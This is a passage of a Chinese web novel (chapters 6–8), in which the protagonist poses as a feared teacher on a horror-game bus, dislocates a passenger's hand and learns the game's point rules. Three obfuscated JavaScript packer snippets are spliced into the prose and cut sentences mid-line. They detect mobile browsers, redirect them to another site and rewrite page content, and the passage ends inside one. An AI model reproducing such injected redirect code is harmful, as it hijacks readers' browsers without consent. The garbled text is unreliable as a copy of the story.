“这么重要的消息为什么不在发布任务的时候就跟我说?” 咪呜咪呜圆滚滚的大眼睛一眯,唇瓣咧开,露出个嘲讽的笑容。 【您打那么多游戏,有见过没有限制的突发任务吗?】 官酉:”……“ 章知白说的对,拆猫行动,刻不容缓啊。 【选好你的立威对象了吗?】 官酉没说话,目光却直直的落回在马尾辫的身上,眸光炽热,仿佛一团燃烧的火,烫得女生皱起了眉头。 “你看我做什么?”清清冷冷的声音响起。 官酉才要回答,车门处传来了一声清脆的“啪嗒”声。 官酉顺势扭头,恰巧看见,一只踩着高跟皮鞋的脚踏上了第一步台阶。 6. 中国结(3) 一瞬间,整节车厢陷入安静。 所有人的目光不由自主地落在了那个人的身上,而后瞳孔紧缩,不约而同地倒吸一口气。 这个人,太漂亮了! 身形高瘦,唇红面白,鼻梁高挺。 一双桃花眼弯弯的,似乎一直在笑。 眼眸更像是被特意熏蒸过一般,黑白分明。 上下睫毛浓密均匀,给这双眼增加了一双眼线。 身上套着一件修身的西装长裙,脚下踩着一双黑色高跟皮鞋。 他似乎还没睡醒,一面打着哈欠,一面走入了车厢。 大巴的门再一次被砰得关上。 但这一次没有人惊慌了,而是死死的盯着那个人,神色却古怪异常。 似乎松了口气,却又在眉梢眼角写满了嫉妒。 是个妹子? 官酉盯着那人,迟疑的辨别着他的身份。 衣着、长相都精致的仿佛游戏建模。 唯独这接近完美倒三角的肩腰比,似乎很少有女生拥有? 那人似乎察觉到了官酉的目光,打着哈欠的手微微一顿,脸微微一侧,看向官酉。 目光相接的瞬间,官酉只觉得呼吸一滞,而后耳聪目明,大巴内的每一个声响每一个举动都被放慢了无数倍,清晰的落入他的眼里、耳里。 就是这种感觉! 官酉瞪着双眼,鼻孔翕动,呼吸急促。 那种肾上腺素章疯狂分泌下,时间被暂停键下,时间一切被无限放大的感觉! 这一辆车里,有块头大的,有沉着冷静的,也有煞气十足的。 可偏偏带给他唯一感官刺激的居然是最后上车的人! 硬茬! 绝对的硬茬! 几乎是瞬间,官酉在心里给他下了个定义。 这是一个强大到他都有些看不明白的妹子! 官酉弯了弯嘴角,心生雀跃。 太好了! 他所期待的“同伴”,终于来了! 他的命,有救了! 如果没有章知白,官酉更想和女生结盟。 不是看不起男生,而是相较于男生,同样的关卡,在男女身形差异所导致的掌宽、握力差下,女生的微操会更加精准和细致。 官酉心里清楚,最后一关的的前七次失败,几乎都是因为他对掌宽与握力之间关系的出现了把控失误。 甚至是最后一次尝试,他的失败,都源自于过于精细化的前后手操作。 至于章知白么…… 虽然他不是女生,但是他是以手稳和微操技艺精湛的心胸外科的明日之星啊! 虽然五年没碰过手术刀了,但这种饭碗的技艺,他不吸烟刻肺,谁吸烟刻肺? 不过,他毕竟五年没碰过手术刀了,这位在副本中血拼至现在的女生,确实更加合适。 章知白啊章知白……让你去追寻“自由”,看吧,即将“失宠”了吧? 官酉轻笑了一下,冷不丁的轻唤了一声:“咪呜咪呜。” 【喵?】 “优秀的选学生策略。”官酉赞叹,“你们的制作团队确实有些本事。” 给他送来了一位更合适的同行伙伴。 咪呜咪呜歪了歪脑袋,大眼睛眨巴着,一脸困惑。 官酉却没理会它的困惑,他听到了来人抱怨声。 “困死了。” “是又要去做什么见不得光的事了么?非得大半夜出发吗?” 声音沉稳清冽,明明是娇嗔的语气,却听不出一点女气。 呃……这是个男生?! 官酉眯了眯眼,又仔细打量了一下。 眉目如画,顾盼生姿,但鼻梁和颧骨轮廓确实硬挺,转折角度生硬。 还真是个男生啊…… 官酉撇了撇嘴,肾上腺髓质立刻停止分泌,被激起的兴趣瞬间消退,荡然无存。 男生的话,他宁愿是章知白回来了。 不过,他是凭什么让他瞬间产生出强烈的“危机感”? 力量? 脑子? 还是,他的显性优势,脸? 官酉好奇着,目光下挪,落在他袖口上。 被整齐卷起的袖口下延伸出一节手腕。 那手腕很细,几乎能被他用一个虎口牢牢圈住。 尺骨茎突高高耸起,似乎随时会撑破上面覆盖着的那层皮肤。 官酉的心里缓缓地冒出一个问号。 他的身体似乎,瘦到脱形了? 完全接近于皮包骨的状态,肌肉和脂肪余量为0。 这样的他,能有力量吗? “似乎都到齐了?”来人似乎没察觉到官酉的打量,反而笑眯眯问了手边的娃娃脸女生,“我来晚了吗?” 娃娃脸女生的脸直接红了,她害羞的垂下脑袋,小幅度的摇了摇:“没,没有。” “您来的刚刚好,车马上就要开了。” 男生闻言长舒一口气,空着的手夸张的拍了拍胸口,手腕一晃,一个黑漆漆的盒子凭空出现在他的手里。 “送给漂亮小姐的礼物。”他弯下腰,将盒子放在了女生一侧的扶手上,“游戏凶险,望小姐怜悯,护我一程?” 娃娃脸女生眼前一亮,拼命点头。 官酉:“……” 靠,真靠脸啊! 官酉瞬间失去了兴趣,闭上眼,将心神放回了第一个任务上。 最后上车的家伙彻底被踢出考虑范围。 他可不跟人比硬件。 而其他人…… 官酉稳了稳心神,再次把目光放在了高马尾少女的身上。 该怎么挑起和她之间的对峙呢? 官酉正思考着,忽然感受到脖颈处喷洒来一股热气,在接触到皮肤的瞬间,化成一层细密的水珠,冻得他忍不住瑟缩一下。 他猛地回神,瞳孔往右侧一撇,一缕打着卷的短刘海占据了他全部视线。 随后,一个轻佻带笑的男声乍响在他的耳侧:“嘿哥儿们,来之前擦了什么?好香。” ——淦!死hentai! 官酉瞳孔一缩,想也不想,拎起右拳挥了过去。 拳劲带着一阵罡风,“砰——”的一声,狠狠地砸在他面部颧骨上。 身边的人立刻闷哼一声跌跪在地上。 膝盖猛地撞上钢制的车板,发出令人牙酸的声响。 官酉不动声色的倒吸了一口凉气,目光瞥向泛红的关节,忍不住蹙眉。 这个人的骨头好硬! “你干什么!” 官酉猛地起身,居高临下的看着那个男生。 攥紧的拳头毫无松开的打算,他眉头紧蹙着,全身肌肉绷紧,似乎随时可能补上一拳。 “说话!” 可跪在地上的男生没说话,他甚至维持着被打倒的姿势,一动不动。 官酉疑惑了,晕了? 不应该啊…… 他刚刚挥出的那一拳看着是重,可落点时是收了力气的,最多起到个警告的作用,怎么可能把人揍晕? 这小子难不成是个脆皮? 官酉看着地上那一团,沉默着默认了这一点。 啧,真是个麻烦。 官酉想着,弯下腰,刚想伸手将人拎起来,一只枯瘦的手冷不丁的搭在了他的手腕上。 冰冷的触感顺着皮肤传过来,官酉后背汗毛瞬间立起。 他立刻想要将手抽回,可搭在他手腕上的手重于泰山,任凭他怎么扭动,都始终稳稳地挂在他的手腕上。 ——敲! 官酉瞳孔猛的一缩,空悬的左手立刻抓住他的手腕,指尖嵌进皮肉,几乎立刻碰到了他的骨头缝隙。 “把手拿开!” “疼疼疼疼!” 官酉和那个男生几乎同时开了口。 男生抬起头,表情痛苦,泪珠盈睫,“哥儿们,哥儿们,轻点轻点,疼,真的疼!” 娃娃脸女生立刻小声惊呼:“喂,你别伤了章大佬的手!” 章? 官酉瞬间捕获关键词,扭头瞪向那个少女:“你叫他什么?” 娃娃脸少女立刻瑟缩一下,眼眶中瞬间水汽氤氲。 马尾辫少女见状立刻将她挡在身后:“你要干什么?” “都是同伴,别自相残杀!” “他的手在后面还有用!别冲动!” 官酉没说话,目光略过在场的所有人,每一个人脸上的神情都十分复杂,有惊慌、恐惧、急切、还有几丝一闪而逝的幸灾乐祸。 官酉垂下头,面露好奇之色。 他的手是什么很珍贵的宝藏吗? 为什么每一个人都在害怕他的手受伤? 男生可怜巴巴的看着他,左手食指指侧刮了下他的手背:“大家都这么说了,松一下呗,求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703804|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你?” 酥酥麻麻的触感袭上手背,官酉脸色一黑,扣住手腕的五指用力一掰—— “咔哒”一声,男生的手便以一个极其扭曲的姿势垂了下去。 他这辈子,什么话都乐意听,唯独不爱听标准答案。。 他很好奇,没有标准答案之后,结局又会怎么样。 四周响起一片此起彼伏的抽气声。 “你,你折断了他的手?!” “天呐,他怎么敢的!” “完了,这下彻底完了……我们这车人都得死在这堂课上……” 官酉对这些话充耳不闻,他甩开男生的手,站直了身体:“慌什么?脱臼而已,又不是骨折。” “你懂什么!”身材矮小的男人吼了出来,“这堂课的老师最喜欢的就是手了!一堂课里,如果凑不出一双好手!大家都得死!都得死!” “哈哈哈哈哈哈哈哪怕是从头到尾听了他的话也一样!都得死!” 官酉眨巴了下眼睛,陷入沉思。 这堂课的教师不是他吗? 他怎么不知道自己有恋手癖? 【是这一堂课之前的常驻带课老师有哦。】 咪呜咪呜的解释贴心的响起在官酉的耳侧。 【嘶——那可是个令人闻风丧胆的变态!】 【他的课堂,从来都是血淋淋的,不管进去几人,只要不听他的话,出来的永远都是0人!】 【以至于每一次确定是他带课,所有的学员都忍不住诚服于他,不敢乱动。】 【不过他也不是无懈可击的,他的有很严重很严重的恋手癖!】 【倘若车里有一双漂亮到他心坎儿上的手,那他的要求也会随之放低。】 咪呜咪呜呼噜了两声,舔了舔爪子上的毛发。 【不过,你不用担心和他对上啦!】 【他上次带课出现了一点小意外,已经彻底消失在团队之中啦!】 官酉闻言,眼神一黯。 也就是说,他现在的位置上有一个变态前任,并且这个前任已经达成了,令学员依赖诚服的的结局? 事情越来越有意思了。 制作方先是看似出了一个几乎不可能完成的任务,又在不经意间将答案和盘托出? 这算什么? 胡萝卜加棒槌? 他们难道就没想过,万一有人压根儿就不吃这一套,他们该怎么办? 【抹杀倒计时00:05:03】 ……好吧,有这道催命符在,确实没人敢不吃这一套。 官酉垂下眼睫,目光落在那只被他弄脱臼的手上。 不得不承认,这只手确实漂亮。 手指修长,骨节分明,指腹有肉。 掌丘微微鼓起,掌纹清晰,修剪齐整的指甲透着健康的粉色。 连他一个没有恋手癖的人看了,都忍不住欣赏。 为了这只手牺牲一下,似乎也不是什么难以接受的事了。 “你说得对。”官酉忽然出了声,他弯下腰去,左手抓住男生的小臂,右手攥住手掌轻轻往上一推—— 一声“咔吧”脆响,男生的手复位了。 “我确实是个手控。” “所以,我们可以坐下来算账了吗?” 身材矮小的男人瞪着眼张着,不敢置信的看着官酉,浑身抑制不住的发抖。 下一秒,一股淡淡的腥臊味飘遍整辆大巴。 【嘀嘀嘀——突发事件完成。】 【任务奖励发放中——】 【您已获取10点积分】 【您已激活实习教师身份,教师套装已解锁,已投入使用。】 【恭喜您,获的隐藏级特殊物品:入场券(蓝色)(可升级)】 【入场券(蓝色):教师是所有学员的长明灯,是古老技艺的传承与教授人。每一位教授都该拥有一张属于自己的入场券。只可惜,入场券只会被强者拥有。】 【拿上入场券,您可以获取课堂的隐藏信息,当前所教授技艺的全部法门,畅通无阻的行走在课堂之中的权限。您的教授模式将被赋予自由灵魂,您可以按照您的喜好进行个性化授课。】 【请注意,当超过您阶位两阶的同类进入您的课堂,您的教授模式将被其接管,必须按照他的模式继续授课。】 左胸口的微微一凉,一张薄薄的金属片悄无声息地滑入官酉胸前的口袋之中。 7. 中国结(4) 成功了。 官酉松了口气。 他一边用积分兑换延长魔方用于延续意识存在时长,一边用眼角余光飞速扫过每一张脸。 不管是被吓尿了裤子的男人,还是马尾辫少女,眼里都闪烁着明晃晃的忌惮。 他们成功的被官酉误导,将他错认成了那个有恋手癖的前任。 忽然,官酉感到右肩膀往下一沉,一只熟悉的手挂了上来。 而后,是贴上耳廓的潮热呼吸,和轻得不努力去听几乎听不到的声音。 “你不是他,对吗?” 官酉瞳孔皱缩,脑子中“嗡”得一向,所有思绪瞬间凝聚成一条线横穿他的大脑。 他居然看出来了?! 这怎么可能?! 不是说,这辆车上根本没有人跟过前任的课吗?! “虽然没跟过教授的课,但有恋手癖的人可舍不得破坏艺术品,对吧?” 自然垂落的手腕晃了晃,微微翘起的指尖在他的眼皮子下乱颤。 官酉没吭声,他觑着那只乱晃的手,只觉得刚刚运动过的手痒得厉害。 “骨头又痒了?”官酉不动声色的询问。 男生灿灿一笑,飞快的将手抽了回去,左手扶住右手的手腕,表情哀伤:“别,别拧。教授,我不敢了,再也不敢了……” 说着,还朝着他wink了一下。 戏精啊…… 还是那么熟悉的拙劣演技。 他似乎也姓“章”? 不知道章知白在不在他的身上。 毕竟他的眉眼,怎么看怎么觉得熟悉。 阴森的声音忽然从大巴的前额处传来,回荡在大巴车内,每个成员的耳畔。 “欢迎各位学员来到喵喵非遗小课堂。” “在你们的世界里,每一个人都隐藏着自己的秘密。” “有的人杀过人,有的人虐过动物,有的人混淆了人口与牲口的概念,有的人……在等待一个毁灭城镇的机会。” “但没关系。神知道你们的来路,了解你们的苦痛。” “所以祂建造了这里,因为教育不会放弃每个人,也会给每个人一个重新的机会。” “去虔诚、虚心的学习吧,然后——” “在结业的大考上,交付出你们最终的答卷。” 咚—— 车顶猛地一响,向下凹陷,整辆车震了震,似乎有什么东西坠落到了车顶上。 雪白的闪电骤然出现,映亮了黑暗,露出车窗上密麻如蛛网般青紫色、尚在蠕动的线! 几声恐惧的惊呼立刻响起,伴着一声一闪即逝的轻笑。 官酉立刻看了过去,是那个刚被拧断了手的男生。 他察觉到了官酉的目光,扭头,假笑,还挥了挥刚接上的右手,却语气可怜巴巴:“教授,我骨头不痒,真的。” “现在,请教师行使权力,确认此次累计学时的学员身份。” 官酉收回目光,从左胸口袋里抽出条洁白如雪的手帕,将右手的手指头逐一擦拭干净。 金属片落袋的瞬间,他感觉浑身一松,仿佛积压在全身的疼痛被骤然卸去一般,只剩下前所未有的轻松。 他将手绢收好,昂首挺胸,一步一步走向大巴的最前端。 积压在车门口的人迅速退开,留出一条宽敞的小路。 他们的头随着他的步伐扭动,明明面上还挂着恐惧,眼里却有着探究。 官酉对他们的目光毫不在意,每往前踏出一步,便说一句。 “各位学员们好,欢迎来到非遗学院。我是你们本次的带课教师,官酉。” 万众瞩目之下,官酉唇角微翘,声音柔和却掷地有声。 “在接下来的学习过程中,将由我承担教师工作,陪伴大家度过六天五晚的学习时间。” 官酉的右脚尖踢上了收费亭的挡板。 “本次课程的题目为中国结的编织技法。学习过程中,将采取一课一练的学习模式,为结业大考做足准备。” “希望每一位学员都能中大考中考出好成绩。” 左脚尖贴上右脚跟的瞬间,暖黄色的灯光忽然亮了起来,将这辆大巴照得暖烘烘的。 窗外的雨声渐弱,浓墨似的黑暗褪去,露出悬挂在天边的新月。 车窗上,那如蛛网般的紫线消失了,瘪下去的车顶也鼓了回去。 萦绕在大巴中的恐怖氛围尽数消散,刚刚的一切就好似梦境一般,从未存在过。 官酉转过身去,将所有学员的表情尽收眼底。 在他逐步走上前的过程中,每一位学员似乎都找到了属于自己的位置。 他们拘谨的坐着,神色畏惧,身体却微微前倾,似乎是想和官酉靠得更近一些。 学员们惧怕老师,却又不得不靠近、依赖。 哪怕,他们知道,面前的这位是个随心所欲,残忍无比的变态? 看来,教师不仅仅是承担了教学工作,还起到了别的作用。 官酉的眼神闪了闪,眼角余光又不自觉的飘到了那个章姓男生的身上。 他还是那么的特立独行。 双臂交叉枕于脑后,双目微闭,呼吸和缓,像是在假寐。 他的身体也不似其他人一般前倾,而是微微后仰,似乎完全沉浸在自己的睡意之中。 他这是在用行动表示,他不需要老师的照拂吗? 很自信啊,他是觉得,以自己的实力,通过副本易如反掌,还是觉得,以自己的实力,随时可以取代官酉,成为新教师? 官酉低下头,看了眼自己手里的纸,眯了眯眼睛。 章……著金……? 著金……知白。 官酉的眼神闪了闪,好像知道了什么。 他抬起头,颇为意味深长的看了章著金一眼,唇角轻扬。 很好,我记住你了。 接下来的学习之旅,我很期待你能带给我多少惊喜。 “现在,确认学员身份。” 官酉的手里拿着一张薄薄的纸片,这是激活教师身份后,随着金属片一起出现的名单。 除此之外,官酉的脑海中还出现了一本薄薄的《教师手册》。 “1号学员,秦狩。” “到。”坐在中间的男人举起了手。 这是个带着金丝边眼镜的儒雅大叔,经过保养的皮相还是略显松垮,眼角的鱼尾纹几乎炸开了花。 “男,43岁。完成课堂7次,累计积分3000分。有问题吗?” “没问题。”大叔乐呵呵的摇了摇头。 官酉点了点头,眼一扫,将其他信息记入脑中。 顺便,他点开了脑内寄存的《教师手册》。 完成任务的10点积分被他用来兑换了时间,现在他的抹杀倒计时是【12:03:22】 12个小时,不够他撑过整场授课游戏,他必须尽快弄到新积分。 “2号学员,刘楚恬。” “到!”娃娃脸女生紧张到站了起来,声音颤抖着大声应答,“完,完成课堂3次,积,积分300。” 《教师手册》 《1.教师接受学院的安排,教授学员非遗知识,直到所有学员全部掌握。在学员通过结业大考后,学员将根据考试的均分成绩排名付给教师相应的积分。》 《2.教师不得主动伤害学员,包括精神和物理两种伤害。教师主动伤害学生将扣除100000积分。》 《3.因学员自身行为导致的意外,学院和老师概不负责。成绩均分将扣除该学员的成绩和人头。》 教师规则只有三条。 《更多手册内容,将在您解释初级教师身份后更新。》 官酉一哂,无所谓,他有的是办法从这些学员嘴里套出更多的信息。 “3号学员,夏铭。” 马尾辫的女生抬起了手:“夏铭,女,20岁。完成课堂13次,目前积分10000。” 官酉抬起头,看向夏铭。 夏铭毫不畏惧的对视回来,眸光清洌,不似在看活物。 她的头顶上冒出一大段信息。 【姓名:夏铭】 【阶位:初阶9级。】 【成就称号:冷漠的眼睛(绿色3星称号):一双极其冷漠的眼睛,没有情绪,也没有生命。仿佛世间的一切在她眼里都是死物。佩戴称号后,考试难度将自动向下降一级。】 【无畏者(蓝色1星称号):拿到称号的人可是个大英雄,永远冲在最前面!佩戴称号后,每成功完成一次课堂可获得双倍积分。】 官酉恍然大悟,怪不得只经历了13次课堂就能获得10000积分,原来是因为这个。 《教师手册》的第二页有关于学员积分获取的介绍。 课堂被分为五种模式:绿色、蓝色、橙色、红色、黑色。 每一种模式又被分为一星、二星、三星三个阶级。 绿色最简单,随后难度依次递增,UR为地狱模式。 学员获取积分的方式主要来源于考试和随堂小考,每完成一个难度就会获得与之对应的积分。 小考积分由带课教师在课程开始前进行分配,可分配的积分为结业考积分的三倍。 结业考积分则根据模式等级进行分配。 绿色模式下,一星结业考积分为10积分,每增加一星难度,增加10积分。 蓝色模式下,一星结业考积分为40积分,每增加一星难度,增加20积分。 橙色模式下,一星结业考积分为120积分,每增加一星难度,增加40积分。 红色模式下,一星结业考积分为240积分,每增加一星难度,增加60积分。 黑色模式下,一星结业考积分为500积分,每增加一星难度,增加150积分。 13次课堂,10000积分,即便有两个称号的加持,也需要强悍的实力。 他的直觉真准,这个女生确实是除了那个章著金外,最厉害的存在。 而章著金,这似乎是一个BUG。 官酉想着,看向了那个男生。 “4号,章著金。” 男生打了个哈欠,睁开一只眼,点了下头。 “教授,人还没死呢,别喊魂儿啊~” 官酉没吭声,他盯着章著金脑袋上,飘出的那行信息。 【姓名:章著金】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709558|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【阶位:初级1级】 【成就称号:无】 【当前累计通过考试:1次】 【累计获得积分:100000】 他究竟是怎么做到,仅仅通过1次结业考试,赚取到100000积分的? 难不成,他找到了制作团队的BUG? 似是触发了关键词,官酉的脑海里多出了一行信息。 【BUG:任何游戏都不会缺少的存在。为了游戏运行顺畅,我们鼓励每一位老师和学员善用这一双会发现的眼睛,找到存在的BUG。】 【游戏里的BUG分简单BUG,复杂BUG,两种类型。每发现一处简单BUG,将奖励5积分,每发现一处复杂BUG,奖励10积分。】 【这可是唯一主动获取积分的方式,发现了千万别错过,除非你的积分多到用不尽哦~】 官酉的眉尾突突直跳,他怎么都没想到,唯一主动获取积分的方式居然是“找BUG”,这个他完全不擅长的东西。 而且,就算他擅长,这也是个很不靠谱的获取积分方式。 他现在剩余的时长不足12个小时,根据延长魔方的介绍,除却第一次,其他时间想要兑换,需要100积分。 如果想要安稳的从整场游戏之中活下来,他至少需要1200积分。 如果他找简单BUG,就需要找250个,如果他找复杂BUG,就需要找120个。 而他是新人,根本不知道游戏的渲染方式是什么,布景是贴皮还是实景,BUG可能存在的方向。 他更不知道,整间学院到底有多大,制作方对之前所发现的BUG处理方式。 万一,在他进来之前,已经有人将BUG尽数发现并处理了,他岂不是得白忙活了? 更何况,他现在的积分是0,他需要另一个更加稳妥的、获取积分的方式。 “教授啊,不继续吗?还有那么多人章等着呢~” 官酉吸了口气,目光森冷的看过去:“叫老师。” 老师。 《教师手册》里的规定使用称呼,似乎和保卫学员有莫大的关系。 章XX哼唧了一声,没再说话。 官酉民了抿唇,继续喊了下去。 5号,魏莱,女,19岁,结业2次,200积分。 6号,周昌南,男,33岁,结业11次,2300积分。 7号,林惊秋,男,27岁,结业1次,100积分。 8号,刘立涛,男,31岁,结业4次,400积分。 9号,童话,女,22岁,结业1次,100积分。 官酉的目光逐一扫过这些人的脸,都是些普通的成就称号,似乎对他造成不了威胁。 但官酉依旧不敢放心,毕竟咪呜咪呜曾说过,老师和学生的地位随时有可能发生反转。 这辆车里的每一个人,他都必须盯紧。 蓦然间,大巴停了下来。 【教学楼8号楼已抵达,请老师整队,带学员下车。】 哐当两声,大巴的前后门同时打开,一股潮湿阴冷的水汽喷了进来,给甜美的提示音添加了一层可怖的气息。 【第一天必要行程安排】 【请老师注意,于天亮之前,将所有学员安全的带进教学楼,并送达教师303。】 【现在时间04:02:33,天亮时间05:23:23,你们只有1个小时的时间。】 【请各位学员注意,本次课堂评级为黑色一星,请务必跟紧教师,不要掉队,不要擅自行动,避免不必要的风险。】 【请老师做好带队工作,尽量避免减员的发生。】 一次性邀请函出现在每个学员的手中。 这是进入教学楼的钥匙,每个人都有,官酉也不例外。 不过,他的注意力已经被另一条刚刚出现的全新消息给掳走了。 【对于黑色一星教学任务的补充说明,请实习教师官酉查收。】 官酉眨眨眼,点开了这条消息。 【黑色一星的教学任务中,每有一位学员意外死亡,教师将获取100积分。】 【黑色一星的教学任务中,会为教师配一位助教,助教会加剧意外的发生。由助教导致的意外,教师将获取150积分。】 【备注:天呐!谁这么倒霉,居然抽中了黑色一星的教学任务!】 【不过没关系啦!仁慈的造物主大人神不会眼睁睁的看着自己的学员倒霉的!】 【看啊!他居然给教师配备了专属的助教和专用积分!】 【快去寻找你的助教吧!和你的助教一起,利用好这些积分,武装好自己,去保护更多的学生吧!】 【温馨提示:助教可是活动室的人哦,是不是和你心贴心就看你自己的魅力啦!】 官酉挑了挑眉尾,似乎有些惊讶。 老师主动导致学员死亡,扣除积分100000。 但学员意外死亡,老师可以获取积分100。 而如果是助教制造意外而导致学员意外死亡,老师可以获取积分150。 这个补充条例,对学生来说,真的是保护吗? 8. 中国结(5) 冰冷的雨丝打在大巴车的台阶上,官酉的指令清晰而冰冷:“按照学号排好队,一个个下,不要掉队。” 他率先下车,站在弥漫着铁锈与腐败气息的湿冷空气中,目光扫过身后九名神色各异的学员。 补充条例中的诱惑条款在他心中激不起半分涟漪。 “主动赚取积分?”官酉内心嗤笑。 且不说,非遗技艺本就是一门需要倾注心血与掌控力的艺术。学习过程中磕磕碰碰,甚至付出些“代价”,再正常不过,根本不用特意制造。 更何况,他还有一个系统“贴心”分配的、专职制造“意外”的助教,想要主动收割那150积分,似乎易如反掌。 但越是看似唾手可得的利益,陷阱往往越深。 一来,游戏制作方构建如此复杂的积分体系,必然存在保护机制。 学员积分难挣,教师积分也不会是白送的馅饼。 黑色一星课堂的积分获取“简化”应是流程优化,而非凭空多出一个违背常理的“诱因”。 如果有,那这“诱因”本身,就散发着阴谋的气息。 二来,“助教”是活生生的人,依赖“老师的魅力”维系。 这关系脆弱而危险。如果助教不是个正常人,且玩脱了,把“意外”制造到他眼皮底下,甚至危及他自身呢? 救?与他的生存哲学相悖。 不救?系统“不得主动伤害学员”的规则惩罚他可承受不起。 三来,系统不可能让他在12小时内无所事事。 无论是长期的教学任务还是短期的突发任务,10点积分的保底任务总会到来。靠任务积累100积分续命,时间虽紧,但可行性很高且风险可控。 四来,这九个学员绝非善茬。 他们目前的恐惧与依赖,完全来源于前任“恋手癖变态教师。 官酉不是这个人,且又对前任一无所知,这层伪装迟早会被戳破。 一旦有人因此制造事端,触发一个突发任务,哪怕只是最低档0积分的任务档,12小时内凑足所需并非难事。 四条理由,条条指向同一个结论:主动利用“助教”制造意外获取积分的性价比极低、风险极高。 开局就置身于火药桶上? 他官酉可没那么蠢。 任务么,要么会如约而至,要么会不期而遇。 他没必要为了一时之利,在开局就将自己置于高危境地。 六男三女在官酉的注视下沉默地排好队下了车。 大巴车悄无声息地消失在浓雾中,将他们遗弃在这条被高耸围墙夹峙的阴森窄路上。 枯死的藤蔓在几支手电筒的光柱下投下扭曲怪诞的阴影,道路尽头是浓得化不开的迷雾,吞噬了一切视线。 官酉蹙眉,下意识地从教师套装中抽出了那根骨白色的教鞭。几乎在指尖触及冰凉鞭柄的瞬间,一行信息流涌入脑海: 【教鞭(黑色三星):教师最得力的助手!浅浅一挥,驱散前方迷雾,为后来者指引方向!】 【备注:该鞭又名仙女伸缩鞭,那————么长那么短,除了驱散迷雾,为后来者指引方向外,还有更多妙用,期待您的发现哦~】 官酉:“……” 又是这种充满暗示的备注! 他握着教鞭,看着备注里那个刻意拉长的“那————么长”。 再联想到【延长魔方】的“延长那里”,一股不祥的预感油然而生。 这游戏的制作团队,绝对有某种不言而喻的恶趣味! 【嘀哔嘀哔!检测到有违禁思维产生!】 【呲你一下!小惩大诫!以儆效尤!】 【请记住!我们是教学游戏!必须健康!】 “什么意——?”官酉懵了,话未说完—— “噗嗤!” 一道高压水柱凭空出现,如同出膛的炮弹,精准无比地直轰在官酉脸上! 毫无防备! 冰冷的水流瞬间将他浇了个透心凉!额前碎发湿漉漉地贴在脸上,水珠顺着发梢、鼻尖、下颌线不断滚落,狼狈不堪。 “噗……”身后压抑的死寂被一声突兀的嗤笑打破,随即像是点燃了引线,爆发出更肆无忌惮的哄笑,尤其是章著金,笑得肩膀都在抖。 “思——”官酉吐出呛进嘴里的水,怒极反笑。 他猛地转身,长臂一展,如同鹰隼攫兔,精准地勾住章著金的脖子,一把将他拽到自己身前。 两人的距离瞬间拉近,官酉湿透的刘海几乎蹭到章著金的脸颊。 他指尖用力,狠狠抵在章著金颈动脉外侧敏感的皮肤上,声音带着被水浸过的寒意和毫不掩饰的杀意:“想死?” 章著金脸上的笑容瞬间僵住,漂亮的桃花眼眨了眨,一秒切换成可怜兮兮的模样。 他右手迅速捂住自己的嘴,鼻梁微皱,眉尾委屈地下撇,眼波流转间全是求饶。 左手小指还悄咪咪地勾上官酉同样湿透的衣角,轻轻扯了扯。 动作亲昵又挑衅,再配上他此刻无辜的表情,映在官酉眼里,简直火上浇油。 他的眼神暗了暗,抵着章著金脖颈的指尖又加了几分力,正要开口—— “嗡……” 手中的骨白教鞭忽然传来一阵奇异的震动,并非警示,更像是一种……共鸣? 官酉下意识地顺着那股牵引感,朝着面前浓得化不开的迷雾,信手一挥! 没有风声,没有呼啸。 只见一道柔和却凝练的乳白色光晕自鞭梢荡漾开来,如同投入浓墨中的一颗明珠。 光晕所过之处,翻涌的迷雾如同被无形的巨手撕开,迅速向两侧退散。 绵绵的雨丝骤停,遮蔽天幕的乌云仿佛被瞬间吹散,清冷的月光毫无阻碍地倾泻而下。 眼前豁然开朗。 一座庞大、阴森、充满压迫感的哥特式建筑矗立在道路尽头。 尖锐的塔楼如同巨兽的利齿直刺深蓝色的天穹。 在原本应放置时钟的最高点,一个巨大的、散发着幽冷光芒的花体数字“8”静静悬浮,如同俯瞰众生的独眼。 8号楼,出现了。 【教鞭使用(1/17):驱散迷雾,指引前路】 官酉握着微微发烫的教鞭,心中凛然。 17次! 这玩意儿居然有严格的使用次数限制! 为什么《教师手册》对此只字未提?! 手指下的动脉忽然快速涌动。 官酉下意识地瞥了一眼还被他钳制着的章著金。 章著金也正看着那栋楼,刚才装出来的可怜相消失无踪,眼神深处掠过一丝凝重和……难以言喻的兴奋? 他似乎感受到官酉的目光,立刻又换上那副玩世不恭的笑脸,被捂着嘴发出闷闷的声音:“不愧是您啊,教授。这一手鞭子耍得可真溜。” 眼神却贪婪地黏在了官酉手中的骨白教鞭上。 官酉冷哼一声,猛地松开钳制,像甩开什么脏东西一样,将他甩到身后。 他无视章著金那欠揍的表情,目光锐利地投向8号楼那黑洞洞的入口——一扇厚重、布满繁复雕花的巨大木门。 门扉紧闭,但门缝之下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 